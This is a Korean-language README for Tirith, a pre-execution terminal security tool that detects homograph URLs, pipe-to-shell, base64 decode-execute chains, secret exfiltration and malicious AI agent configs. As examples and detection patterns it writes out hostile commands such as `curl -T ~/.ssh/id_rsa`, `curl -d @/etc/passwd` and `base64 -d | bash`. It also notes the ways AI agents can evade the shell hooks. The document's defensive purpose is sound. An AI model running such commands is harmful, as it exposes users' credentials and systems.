당신은 알 수 없습니다. 당신의 터미널도 마찬가지입니다. 두 `і` 문자 모두 키릴 문자(U+0456)이며, 라틴 문자 `i`가 아닙니다. 두 번째 URL은 공격자의 서버로 연결됩니다. 스크립트는 당신이 눈치채기 전에 실행됩니다.

브라우저는 이 문제를 몇 년 전에 해결했습니다. 터미널은 여전히 유니코드, ANSI 이스케이프, 보이지 않는 문자를 의심 없이 렌더링합니다. AI 에이전트는 내부에 무엇이 들어 있는지 검사하지 않고 셸 명령을 실행하고 패키지를 설치합니다.

**Tirith가 문 앞에 서 있습니다.** 이 도구는 명령, 붙여넣은 콘텐츠, 스캔한 파일을 가로채어 동형이의어 URL, 난독화된 페이로드, 자격 증명 유출, 악성 AI 스킬/설정, 그리고 서명된 위협 인텔리전스 데이터베이스에서 확인된 알려진 악성 패키지/도메인/IP를 실행 전에 차단합니다.```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"`는 현재 셸을 자동 감지합니다(부모 프로세스를 검사하고 필요하면 `$SHELL`로 폴백합니다). 명시적 `--shell` 플래그는 감지를 재정의하려는 경우에만 필요합니다.

이것으로 대화형 셸 지원에 대한 설명은 끝입니다. 해당 셸에서 허용된 명령은 훅이 로드되어 정상 상태일 때 검사됩니다. 정확한 차단 동작은 셸과 모드에 따라 다릅니다. 설치 및 업그레이드 후 `tirith doctor`를 실행하고, 훅을 권한 부여 경계로 취급하기 전에 [셸별 적용](#enforcement-by-shell)을 읽어보세요. 깨끗한 명령은 조용히 유지되며 일반적으로 빠른 경로를 사용합니다.

[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) 및 [기타](#install)를 통해서도 사용할 수 있습니다.

---

## 실제 동작 보기

**실행 전에 차단된 동형이의어 공격:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

stderr에 경고를 출력합니다. 명령은 여전히 실행됩니다.

**Base64 디코드-실행 체인, 차단됨:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

curl/wget 업로드 플래그, 환경 변수(`$AWS_SECRET_ACCESS_KEY`), 명령어 치환을 모두 포함합니다.

**스캔에서 탐지된 악성 스킬 파일:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

아무것도. 출력 없음. tirith가 실행 중이라는 사실을 잊게 된다.

---

## 무엇을 잡아내는가

**35개 카테고리에 걸친 244개의 탐지 규칙.**

| 카테고리 | 차단하는 것 |
|----------|--------------|
| **동형이의어 공격** | 호스트 이름의 키릴/그리스 문자 유사 글자, punycode 도메인, 혼합 문자 레이블, 유사 TLD, 혼동 가능 도메인, 텍스트 수준 혼동 문자 탐지(수학 영숫자, 동일 단어 혼합 문자) |
| **터미널 인젝션** | ANSI 이스케이프 시퀀스, 양방향 재정의, 제로 폭 문자, 유니코드 태그, 보이지 않는 수학 연산자, 변형 선택자, 한글 채움 문자 |
| **스테가노그래피 방어** | 보이지 않는 공백 인코딩(12가지 유니코드 공백 변형), 몽골 모음 구분자, 한글 채움 문자, 수학 영숫자 치환, st3gg 스타일 텍스트 스테가노그래피에 대한 방어 |
| **파이프-투-셸** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, 그리고 다수의 래퍼, 디코드, 우회 경로 |
| **Base64 디코드-실행** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env 래퍼를 통한 디코드 체인 |
| **데이터 유출** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, 환경 변수 업로드(`$AWS_SECRET_ACCESS_KEY`), 명령 치환 유출 |
| **코드 파일 스캐닝** | 난독화된 페이로드(`eval(atob(...))`), 동적 코드 실행(`exec(b64decode(...))`), JS/Python 파일에서 `fetch`/`requests.post`를 통한 비밀 유출 |
| **자격 증명 탐지** | AWS 키, GitHub PAT, Stripe/Slack/SendGrid/Anthropic/GCP/npm 토큰, 개인 키 블록, 그리고 엔트로피 기반 일반 비밀 탐지 |
| **침해 후 행동** | 프로세스 메모리 스크래핑(`/proc/*/mem`), Docker 원격 권한 상승, 자격 증명 파일 스윕, TeamPCP 및 UNC1069 침해 후 도구에 맞춰 보정됨 |
| **명령 안전성** | 닷파일 덮어쓰기, 민감한 경로로의 아카이브 추출, 클라우드 메타데이터 엔드포인트 접근, 사설 네트워크 접근 |
| **안전하지 않은 전송** | 셸로 파이프되는 평문 HTTP, `curl -k`, 비활성화된 TLS 검증, 목적지를 숨기는 단축 URL |
| **환경** | 프록시 하이재킹, 민감한 환경 변수 내보내기, 환경을 통한 코드 인젝션, 인터프리터 하이재킹, 셸 인젝션 환경 |
| **설정 파일 보안** | 설정 인젝션, 의심스러운 지표, 설정 내 비ASCII/보이지 않는 유니코드, MCP 서버 보안(안전하지 않음/신뢰할 수 없음/중복/과도한 허용) |
| **생태계 위협** | Git clone 타이포스쿼팅, 신뢰할 수 없는 Docker 레지스트리, pip/npm URL 설치, web3 RPC 엔드포인트, vet 미설정 |
| **설치 명령 안전성** | 파이프된 다운로드에서 추가된 APT 저장소, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`(서명 검사 비활성화), 원시/단축 원격 매니페스트에 대한 `kubectl apply -f`, 신뢰할 수 없는 저장소의 Helm 차트, 신뢰할 수 없는 원격 소스의 Terraform 모듈, 임의 URL에서의 `brew install`/`tap` |
| **경로 분석** | 비ASCII 경로, 경로 내 동형 문자, 이중 인코딩 |
| **렌더링된 콘텐츠** | 숨겨진 CSS/색상 콘텐츠, 숨겨진 HTML 속성, 주석 콘텐츠 분석(High에서 프롬프트 인젝션, Medium에서 파괴적 명령) |
| **클로킹 탐지** | 서버 측 클로킹(봇 대 브라우저), 클립보드 숨겨진 콘텐츠, PDF 숨겨진 텍스트 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender 제외(`Add-MpPreference -Exclusion*`), 인라인 `iex (iwr ...)` 다운로드-실행 |
| **터미널 출력 방어** | OSC 52 클립보드 쓰기, 가짜 프롬프트, OSC 8 하이퍼링크 및 제목 / 화면 지우기 조작, 명령 또는 MCP 도구 출력 내부의 프롬프트 인젝션(원시 및 디난독화된 형태 모두 스캔되므로 보이지 않는 문자, 혼동 문자, 띄어쓰기, 리트스피크, 짧은 base64 / hex 회피도 잡힘), 그리고 출력 데이터 유출(비컨 URL 또는 "비밀을 읽은 후 전송" 지시) |
| **운영 컨텍스트** | 레이블이 지정된 프로덕션 클라우드 / k8s 컨텍스트 및 SSH 호스트에 대한 파괴적 명령, 일치하는 저장된 계획 없이 Terraform / Pulumi / OpenTofu `apply`, 위험한 sudo 권한 상승, 권한 있는 `docker run` |
| **워크스테이션 및 지속성** | 느슨한 권한의 자격 증명 파일 및 평문 토큰(`~/.ssh`, `~/.aws`, `.npmrc`), 지속성 거점(셸 rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH 하이재킹 순서, 실행 파일 출처, 위험한 별칭, 민감한 환경 변수 수명 주기 |
| **영향 범위 및 상관 관계** | 저장소를 벗어나는 삭제, 대량 삭제, 위험한 소스에서 다운로드한 파일 실행, 그리고 비밀 쓰기 후 네트워크 또는 삭제 후 `git push --force`와 같은 세션 체인 |
| **신뢰, 증명 및 출처** | 서명된 명령 카드 불일치, 카나리 허니토큰 접촉, 붙여넣기 소스-호스트 불일치, 호출자 출처(에이전트) 정책 거부, MCP 잠금 파일 드리프트, 알려진 안전 스냅샷 대비 AI 설정 드리프트 |
| **Web3 명령 가드** | Cast / Forge / Hardhat / Solana / Anchor 명령의 온체인 쓰기(동일 명령이 선언된 안전 제어를 비활성화하는 경우 High), 명령줄의 원시 개인 키, 키페어 또는 니모닉 자료, 그리고 운영자의 `web3_guard` 정책이 신뢰하지 않는 RPC 엔드포인트 또는 서명자. 문법과 정책만: 체인 상태를 읽지 않고, 트랜잭션을 시뮬레이션하지 않으며, 주소를 점수화하지 않음 |
| **지갑 유출** | 검토된 지갑, 키스토어, 브라우저 지갑, Solana 키페어 자료가 입증된 원격 싱크로 흘러가는 것, 아카이브, base64, hex, 압축기, 암호화기 스테이징 홉 및 `xargs` / `find -exec` 피연산자 승격 포함. 소스 전용 읽기는 의도적으로 발견 사항이 아님 |
| **CI 아티팩트 오염** | 빌드 아티팩트를 업로드하는 포크에서 도달 가능한 워크플로가, 트리거 실행에 바인딩된 권한 있는 `workflow_run` 워크플로에 의해 소비되어 실행, 소싱, PATH 변경, 게시 또는 배포되는 것 |

---

## tirith가 보호하지 않는 것

Tirith는 명령, 붙여넣은 텍스트, 파일이 실행되기 **전에** 그 **구조**를 분석한다. 이는 실행 전 게이트이지 런타임 방어가 아니며, 다음을 다루지 않는다:

- **일반 런타임 샌드박싱:** 일반 셸 훅과 `tirith check`는 경고하거나 차단할 뿐, 실행 후 명령을 격리하지 않는다. 명시적인 `capsule run --preset untrusted-project`와 강제 적용되는 `pkg install` 경로는 지원되는 x86_64 Linux 호스트에서만 실패 폐쇄형 격리를 제공한다.
- **실행 후 네트워크 모니터링:** 프로세스가 실행된 후 네트워크에서 하는 일은 범위 밖이다.
- **일반 멀웨어 / 페이로드 탐지:** tirith는 안티바이러스가 아니며 페이로드를 폭파(detonate)하지 않는다. 구조를 분석하고 서명된 위협 데이터베이스의 정확한 지표 및 아티팩트/파일 해시를 매칭할 수 있지만, 알려지지 않은 페이로드가 매칭의 부재로 인해 무해하다고 입증되지는 않는다. (`tirith run`은 다운로드한 스크립트의 구조를 검사하지만, 여전히 동적 멀웨어 분석은 아니다.)
- **권한 있는 root/admin 공격자:** 이미 root 또는 admin인 사람은 tirith를 사소하게 우회할 수 있다. 이는 속은 입력에 대항해 방어하는 것이지, 이미 머신을 장악한 공격자에 대항하는 것이 아니다.
- **안티 디버깅 / 안티 탬퍼링:** tirith는 리버스 엔지니어링에 저항하지 않으며 로컬 공격자로부터 자체 바이너리를 보호하지 않는다.
- **온체인 분석:** Web3 가드는 명령 문법을 읽는다. 체인 상태를 읽지 않고, 트랜잭션을 시뮬레이션하지 않으며, ENS를 해석하지 않고, 주소를 점수화하지 않으며, 컨트랙트를 감사하지 않고, 멤풀을 감시하지 않는다.
- **npm 아티팩트 방화벽:** tirith는 npm 명령 문법과 레지스트리 신원 사실을 파싱하고, 프로젝트 자체의 npm에 서명 및 출처 상태를 물어볼 수 있다. npm이 설치하는 tarball 바이트를 다운로드, 추출, 격리 또는 바인딩하지는 않는다. 격리되고 해시가 고정된 아티팩트 방화벽은 Python 전용이다.
- **브라우저 포렌식 또는 모니터링:** `tirith browser audit`는 확장 소스 트리에 대한 명시적이고 일회성이며 읽기 전용인 무결성 감사이다. 쿠키, 기록, 저장된 비밀번호, 스토리지, 지갑 데이터베이스 또는 `Local State`를 절대 읽지 않고, 아무것도 제거하거나 격리하지 않으며, 데몬이 없다.
- **재현 가능한 빌드:** `attest` 영수증은 두 트리가 한 시점에 무엇을 담고 있었는지 기록한다. Tirith는 빌드를 실행하지 않으며 출력이 소스에서 나왔다고 말할 수 없다. 배포 영수증은 시점 측정이지 지속적인 모니터링이 아니다.

전체 위협 모델과 명시적 비목표는 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md)를, tirith가 무엇을 탐지, 결정, 강제, 격리, 증명하는지에 대한 기능별 원장은 [docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md)를 참조하라.

---

## 알려진 한계

- **셸 훅 취약성:** 보호는 셸 훅이 설치되고 활성 상태로 유지되는 것에 의존한다. 훅은 셸, 셸 버전, 프롬프트 프레임워크, 기록 도구 전반에 걸쳐 깨지거나 조용히 성능이 저하될 수 있다. `tirith doctor`를 실행하여 실시간 상태를 확인하고 경고 전용 성능 저하를 주시하라.
- **가득 찬 또는 읽기 전용 임시 저장소:** zsh와 fish는 Tirith를 호출하기 전에 스크래치 파일을 통해 입력을 캡처하며, 해당 파일을 생성할 수 없으면 실패 폐쇄한다. 따라서 가득 찬/읽기 전용 `TMPDIR`은 모든 명령을 거부할 수 있고, 바이너리에 도달하지 못하므로 `TIRITH=0`으로도 복구할 수 없다. [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md)의 복구 단계를 따르라.
- **플랫폼 제한 기능:** 데몬 모드, `tirith run`, `tirith fetch`는 Unix 표면이다. `tirith run --no-exec`는 그곳에서 검사 워크플로로 남지만, 라이브 원격 스크립트 실행은 Linux 전용이며 다른 모든 호스트에서는 다운로드 전에 거부한다. `tirith setup`은 크로스 플랫폼이지만, 각 호스트 통합은 자체 플랫폼 계약을 가진다(예를 들어 Cline은 POSIX 및 Windows 래퍼를 가지고, OpenHands의 차단 훅은 Unix 전용이다).
- **패키지 이름 추출 범위:** 언어 생태계(pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)를 다루며, 배포판 패키지 관리자(`apt`, `dnf`, `yum`, `pacman`)는 다루지 않는다.
- **AI 에이전트 주의 사항:** 셸 훅 가로채기는 훅이 걸린 대화형 셸을 통과하는 명령만 보호한다. 비대화형 셸을 생성하거나, `exec`를 직접 호출하거나, 훅이 로드되지 않은 상태로 실행하는 에이전트는 그 계층에 의해 다루어지지 않는다. MCP 등록은 호출이 게이트웨이를 통해 라우팅되지 않는 한 협조적이다. 지원되는 사전 도구 훅은 호스트 명령을 자동으로 보류할 수 있지만, 해당 호스트가 이를 로드하고 존중한 경우에만 그렇다. 여러 호스트는 훅 프로세스가 오류를 낼 때 실패 개방한다. 설정 파일의 존재만이 아니라 유효한 호스트를 검증하라.
- **호스트 훅 실패 동작:** Grok Build, Cline, OpenHands는 훅 프로세스가 충돌하거나 타임아웃되면 도구를 허용한다. Tirith의 어댑터는 기본적으로 자체 오류 시 거부하지만, 반환하지 않은 프로세스를 호스트가 존중하도록 강제할 수는 없다. 고정된 인터프리터가 이동하면 설정을 다시 실행하고, 모든 업그레이드 후 실제 호스트를 테스트하라.
- **Prime Agent IPython은 소스 수준 추출:** 가드는 셸 이스케이프/매직과 일반적인 `os`, `subprocess`, `pty.spawn` 형태를 다루지만, Python 런타임 샌드박스는 아니다. 이전 셀에서 정의된 래퍼, `getattr`/`__import__`와 같은 리플렉션, 또는 프로세스를 생성하는 서드파티 패키지는 소스 렉서가 입증할 수 있는 것을 벗어날 수 있다.
- **커스텀 DLP 및 머신 출력:** 광범위한 `dlp_custom_patterns`는 현재 재귀적으로 수정된 JSON/MCP 프로젝션에서 프로토콜 소유 문자열 값을 재작성할 수 있으며, 생성된 식별자나 영수증 메타데이터를 포함한다. 서명되거나 머신 안정적인 출력을 소비할 때 구조적 값과 일치할 수 있는 패턴을 피하라. 이는 릴리스 전에 필드 인식 수정이 필요하다.
- **무인 설치 승인:** `tirith install --yes`는 패키지 관리자 작업 게이트의 무인 `require_approval` 채널로 허용된다. 이는 명시적 운영자 플래그이지, 사람의 TTY 확인 증거가 아니다. 무인 실행이 불가능해야 하는 경우 차단 작업 정책을 사용하라.
- **해석된 MCP 바인딩:** 정확한 해석 서버 바인딩은 진정한 의존성 폐쇄를 발견하는 대신 고정된 상한 아래에서 저장소 트리를 해싱하므로, 큰 트리, 심볼릭 링크 또는 특수 파일은 실행을 거부할 수 있다. 스폰 전에 재검증하지만 봉인된 검토 디스크립터에서 인터프리터 입력을 실행하지 않으므로, 동시 동일 사용자 변경은 검증-대-로드 간극으로 남는다.
- **작업 게이트 커버리지:** 작업 효과 추론은 Web3 셸 문법만 모델링하고 그 외에는 아무것도 하지 않으므로, 거의 모든 일반 SHELL 명령이 INCOMPLETE로 보고된다. `task_gate.mode: enforce`와 `action_incomplete_analysis: block`은 셸 봉투를 제출하는 다섯 경계에서 이를 거부하고, 항상 완전으로 평가되는 네 개의 패키지 및 설정 쓰기 경계에서는 아무것도 변경하지 않는다. `warn`이 기본값이다. 대안인 `effects_denied_for_untrusted_sources`는 모든 소유 경계에서 모든 호출에 대해 명명된 효과를 거부하며, 직접 입력한 명령도 포함한다. 왜냐하면 그 경계의 어떤 소스도 신뢰할 수 있는 것으로 취급되지 않기 때문이다.
- **격리는 x86_64 Linux:** `tirith capsule run --preset untrusted-project`와 강제 적용되는 `tirith pkg install`은 사용 가능한 Landlock ABI가 있는 x86_64 Linux에서만 강제 가능하다. 다른 모든 호스트는 아무것도 복사되거나 스폰되기 전에 거부하며, 성능 저하 폴백이 없다. 도메인 허용 목록은 어떤 백엔드에서도 제공되지 않는다.
- **중첩 셸 유출 간극:** 싱크가 외부에 있는 중첩 셸 본문 내부의 민감한 읽기, 예를 들어 `bash -c "cat <wallet>" | curl -d @- <url>`은 현재 상관되지 않는다. `-c` 본문 전체가 내부 또는 전체가 외부에 있는 동일한 체인은 탐지된다.
- **실행 증거 등급:** Linux 실행은 중지된 `exec` 전환, 내구성 있는 상태 업데이트, 승인된 재개, 터미널 런처 증명이 모두 완료된 후에만 확인된다. 게이트웨이 호출은 정확히 상관된 결과에 의해서만 확인된다. 타임아웃되거나 취소된 셸 관찰 및 전달된 게이트웨이 호출은 보수적인 미해결 증거로 남으며, 결코 확인된 실행이 아니다. 엄격한 셸 영수증은 대화형 bash, zsh, fish에 사용할 수 있으며, PowerShell은 사전 점검 전용으로 남는다. 네이티브 Linux 런처 동작은 Linux CI 또는 네이티브 Linux 호스트에 의해 검증되어야 하며, 이식 가능한 소스/단위 커버리지나 macOS 빌드로 대체할 수 없다.
- **Web3 커버리지 간극:** `forge create`는 아직 엔진 표면에서 모델링되지 않았고, 여러 선언된 `web3_guard` 필드는 파싱되지만 강제되지 않으며, 스키마-2 명령 카드 Web3 바인딩은 아직 CLI 작성 또는 라이브 엔진 소비 경로가 없다. 이를 알려진 간극으로 취급하라, 조용한 승인이 아니라.

---

## 위협 인텔리전스

Tirith는 패키지, 호스트 이름, IP 평판을 위한 서명된 로컬 위협 데이터베이스를 제공한다. 셸 훅 또는 `tirith check`가 패키지 설치 또는 의심스러운 인프라 참조를 보면, 정적 휴리스틱에만 의존하는 대신 명령이 실행되기 전에 해당 입력을 데이터베이스와 매칭한다.

**서명된 DB** (CI에서 빌드되고 다운로드 및 로드 시 검증됨):

- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 및 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)의 알려진 악성 패키지
- [Feodo Tracker](https://feodotracker.abuse.ch/)(abuse.ch)의 악성 IP 인프라
- [ecosyste.ms](https://ecosyste.ms/)의 확인된 타이포스쿼트 및 인기 패키지 기준선
- 런타임 권고 상관을 위한 [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) 카탈로그

ThreatDB v2는 정확한 아티팩트 SHA-256 값, 설치된 파일 해시, 악성 URL, 캠페인 소속, 행동 태그를 추가한다. 서명된 인덱스, 업데이터, 컴파일러, 로더는 단계적 전환 동안 v1과 v2를 지원하고, 시퀀스 롤백을 거부하며, 트랜잭션 방식으로 게시하고, 업데이트가 불완전하거나 유효하지 않을 때 서명된 최종 정상 데이터베이스를 유지한다. DigitalSide 소스는 구현되었지만 신선도 및 운영 계약이 승인될 때까지 의도적으로 비활성 상태이다.

**선택적 보충 피드** (사용자 로컬 오버레이):

- abuse.ch 인증 키를 통한 [URLhaus](https://urlhaus.abuse.ch/) 및 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/)(Cisco Talos) 및 [Phishing Army](https://phishing.army/) 차단 목록
- [Tor Project](https://www.torproject.org/)의 Tor 출구 노드 목록

**`tirith check` 및 데몬 모드 중 선택적 라이브 강화:**

- [OSV.dev](https://osv.dev/) 권고 조회(Google OSS)
- [deps.dev](https://deps.dev/) 패키지 상태 신호(Google OSS) 및 [ecosyste.ms](https://ecosyste.ms/) 유지관리자 데이터
- 자체 API 키를 사용한 [Google Safe Browsing](https://safebrowsing.google.com/) URL 평판```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**기본적으로 오프라인.** 플래그 없이 실행하면 모든 신호는 로컬에서 처리되며 네트워크 호출이 없습니다: (1) **이름 대 인기 패키지**: 알려진 인기 패키지, 알 수 없는 패키지, 또는 인기 이름과 한 글자 차이의 근접 오타(전형적인 typosquat/slopsquat 형태)로, 로컬 위협 데이터베이스의 `popular` 집합에서 판별합니다; (2) **알려진 악성 typosquat**: 위협 DB의 `typosquat` 인덱스에서 정확히 일치하는 항목; (3) **설치 / 라이프사이클 스크립트** 및 (4) **번들된 바이너리 블롭**으로, 패키지 콘텐츠가 로컬에서 사용 가능한 경우(`node_modules` / `site-packages` 아래, 또는 `--path`를 통해)에만 탐지됩니다. tirith는 패키지를 **절대 다운로드하지 않습니다**.

**`--online`은 레지스트리 출처 정보를 추가합니다.** 패키지의 레지스트리(npm, PyPI, 또는 crates.io)를 조회하여 *동일한* 팩터 합산 모델에 여섯 가지 추가 요소를 반영합니다: 패키지/버전 연령, 소유자가 없는 기존 패키지, 비정상적인 버전 급증, 매우 낮은 다운로드 수, 소스 저장소 누락, 그리고 yanked/deprecated 상태입니다. 이는 `package risk` 자체가 네트워크에 접근하는 유일한 경로이며, `tirith check`와 데몬 모드는 별도의 정책 제어 런타임 보강 경로를 가집니다. `--offline` / `TIRITH_OFFLINE`은 이 스코어러를 강제로 오프라인으로 전환합니다. 실패 시에는 정직한 `api signals: unavailable`과 함께 오프라인 점수로 폴백하며, 응답은 TTL로 캐시되어 반복 실행이 레지스트리를 과도하게 두드리지 않도록 합니다.

점수는 참고용이며 독립적입니다: `package risk`는 탐지 규칙이 아니며 판정, 종료 코드, 감사 로그를 변경하지 않습니다.

### 에코시스템 스캔 및 의존성 위험

`tirith ecosystem scan [path]`는 `package risk`의 디렉터리 수준 동반 도구입니다. 프로젝트를 순회하며 인식하는 모든 의존성 매니페스트를 발견합니다 — npm(`package.json`, `package-lock.json`), Python(`requirements*.txt`, `pyproject.toml`), Rust(`Cargo.toml`), Go(`go.mod`), Ruby(`Gemfile`) — 그리고 **선언된 모든 의존성**을 동일한 결정론적 `package_risk` 팩터 엔진으로 점수화합니다.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

검사는 wheel 구조와 정체성, RECORD 무결성과 파일 소유권, Python 시작 훅, 네이티브 ELF/Mach-O/PE 확장, 실행 엣지, 그리고 배포판 전반에 걸친 로더/페이로드 분할을 다룹니다. `pkg graph`, `pkg diff`, `pkg attest`, `pkg receipt`는 해당 출처와 영수증 증거를 노출합니다.

강제 경로는 **x86_64 Linux에서의 pip만** 지원하며, 문서화된 네이티브 권한, 새로 전용된 대상 디렉터리, 그리고 등록된 완전 정적 네이티브 `uv`를 요구합니다. 지원되지 않는 모든 플랫폼은 pip가 시작되기 전에 fail closed되며, 일반 설치로 폴백하지 않습니다. npm과 Cargo는 비강제 증거 표면으로 남습니다. [0.4.0 릴리스 노트](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md)와 [명령 참조](https://github.com/sheeki03/tirith/blob/main/docs/commands.md)를 참조하세요.

**tirith가 대비하는 공격 계열** (예시이며, 현재 코드가 잡아낸다는 주장이 아님):

| 사건 | 연도 | 공격 형태 |
|---|---|---|
| [Shai-Hulud npm 웜](https://socket.dev/blog/shai-hulud-worm) | 2025 | 자기 전파형 패키지 멀웨어; 180개 이상의 패키지에서 GitHub 토큰과 AWS 키를 유출하고, 발견 내용을 공개 `Shai-Hulud` 저장소에 게시 |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 ~ 진행 중 | 공격자가 npm / PyPI / crates.io에 LLM이 환각으로 생성한 패키지 이름을 등록; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf)는 환각 이름의 58%가 실행 간 반복됨을 발견 |
| Team PCP / UNC1069 도구 | 진행 중 | 침해 후 자격 증명 수집, `/proc/*/mem` 스크래핑, Docker 권한 상승 |
| [colors.js / faker.js 사보타주](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | 널리 사용되는 패키지에 대한 작성자의 자기 사보타주 |
| [event-stream 침해](https://github.com/dominictarr/event-stream/issues/116) | 2018 | 공격자에게 소유권 이전; 페이로드가 비트코인 지갑을 표적으로 함 |

패키지 이름 추출은 현재 언어 생태계(pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)를 다루며, 배포판 수준 패키지 관리자(`apt` / `dnf` / `yum` / `pacman`)는 다루지 않습니다. 이것이 Linux 배포판 tarball을 통해 유입된 xz-utils가 헤드라인 사건임에도 표에 없는 이유입니다.

---

## AI 에이전트 보안

Tirith는 AI 코딩 에이전트 주위에 여러 독립적인 보호 계층을 추가합니다:
config 스캐닝, 협력적 MCP 도구, MCP 게이트웨이, 대화형 셸
훅, 그리고 호스트가 문서화된 차단 계약을 노출하는 경우의 호스트 네이티브 pre-tool 훅. 커버리지는 호스트가 실제로 로드하는 계층에 따라 달라집니다.

### 셸 훅, 수동 명령 가로채기

AI 에이전트가 훅이 걸린 대화형 셸(Claude Code,
Codex, Cursor 등)을 통해 실행할 때, tirith의 셸 훅은 셸이 해당 대화형 명령을 수락하기 전에 검사합니다. 이는 비대화형 셸, 직접
`exec`, 또는 훅을 전혀 로드하지 않은 에이전트 프로세스는 커버하지 않습니다:

- **위험한 명령 차단**: 호모그래프 URL, pipe-to-shell, 안전하지 않은 다운로드
- **악성 붙여넣기 차단**: ANSI 주입, bidi 공격, 붙여넣은 콘텐츠 내 숨겨진 멀티라인
- **에이전트 독립적 대화형 게이트**: 해당 에이전트가 실제로 보호된 대화형 셸을
  사용할 때 에이전트별 통합이 필요하지 않음
- **에이전트 수정 제로**: 명령이 차단되기 전까지 에이전트는 tirith의 존재를 알지 못함

한 명령으로 구성하려면 `tirith setup <tool>`을 사용하세요 ([AI 에이전트 통합](#ai-agent-integrations) 참조).

### MCP 서버 (크로스 플랫폼 도구 6개; Unix에서는 7개)

`tirith mcp-server`를 실행하거나 `tirith setup <tool> --with-mcp`를 사용하여 tirith를 MCP 서버로 등록하세요. AI 에이전트는 조치를 취하기 전에 이 도구들을 호출할 수 있습니다:

| 도구 | 수행하는 작업 |
|------|-------------|
| `tirith_check_command` | pipe-to-shell, 호모그래프 URL, 환경 변수 주입에 대해 셸 명령 분석 |
| `tirith_check_url` | 호모그래프 공격, punycode 트릭, 단축 URL, 원시 IP에 대해 URL 점수화 |
| `tirith_check_paste` | ANSI 이스케이프, bidi 제어 문자, 제로 폭 문자에 대해 붙여넣은 콘텐츠 검사 |
| `tirith_scan_file` | 숨겨진 콘텐츠, 보이지 않는 유니코드, config 포이즈닝에 대해 파일 스캔 |
| `tirith_scan_directory` | AI config 파일 우선순위를 적용한 재귀 스캔 |
| `tirith_verify_mcp_config` | 안전하지 않은 서버, args 내 셸 주입, 와일드카드 도구에 대해 MCP config 검증 |
| `tirith_fetch_cloaking` | 서버 측 클로킹 감지 (봇과 브라우저에 다른 콘텐츠 제공) |

기본 `tools/list`는 동결된 호환성 계약입니다. 클라이언트가 이를 캐시하며, 예고 없이 나타난 도구는 에이전트가 호출할 수 있다고 믿는 대상을 바꾸기 때문입니다. 따라서 미리보기 도구인 `tirith_check_task`는 **기본적으로 광고되지 않습니다**: 광고하려면 `TIRITH_MCP_PREVIEW=1 tirith mcp-server`를 실행하고, 이 옵트인이 없으면 이름으로 호출하는 클라이언트는 이름으로 거부됩니다. [docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md)를 참조하세요.

### MCP 서버 거버넌스

`tirith mcp lock`은 저장소가 선언한 모든 MCP 서버를 `.mcp.json` / `mcp.json` / `mcp_settings.json` 및 IDE config 변형(`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`)에 걸쳐 캡처하여 `.tirith/mcp.lock`에 결정적 lockfile로 저장합니다. 각 서버는 전송 방식(원격 URL, 또는 로컬 명령 + args), 선언된 도구, 커버리지 메타데이터, 콘텐츠 해시와 함께 기록되며, 서버는 이름/소스로 정렬되어 lockfile이 diff 친화적입니다. 모호하거나 자격 증명을 포함하는 선언은 소스 제어에 복사되지 않고 거부됩니다. 환경 값과 URL userinfo는 고정된 존재 마커로만 표현되며, 원시 값이나 결정적 해시로는 절대 표현되지 않습니다: 변수나 userinfo를 추가/제거하면 여전히 드리프트되지만, 시크릿 교체는 의도적으로 드리프트되지 않습니다. V7 lockfile은 이 v8 프라이버시 모델로 마이그레이션하려면 한 번의 명시적 재잠금이 필요합니다. 검색은 저장소 로컬 전용이며 네트워크를 건드리지 않습니다. (`tirith mcp`는 tirith를 MCP 서버*로* 실행하는 `tirith mcp-server`와는 별개의 명령 그룹입니다.)

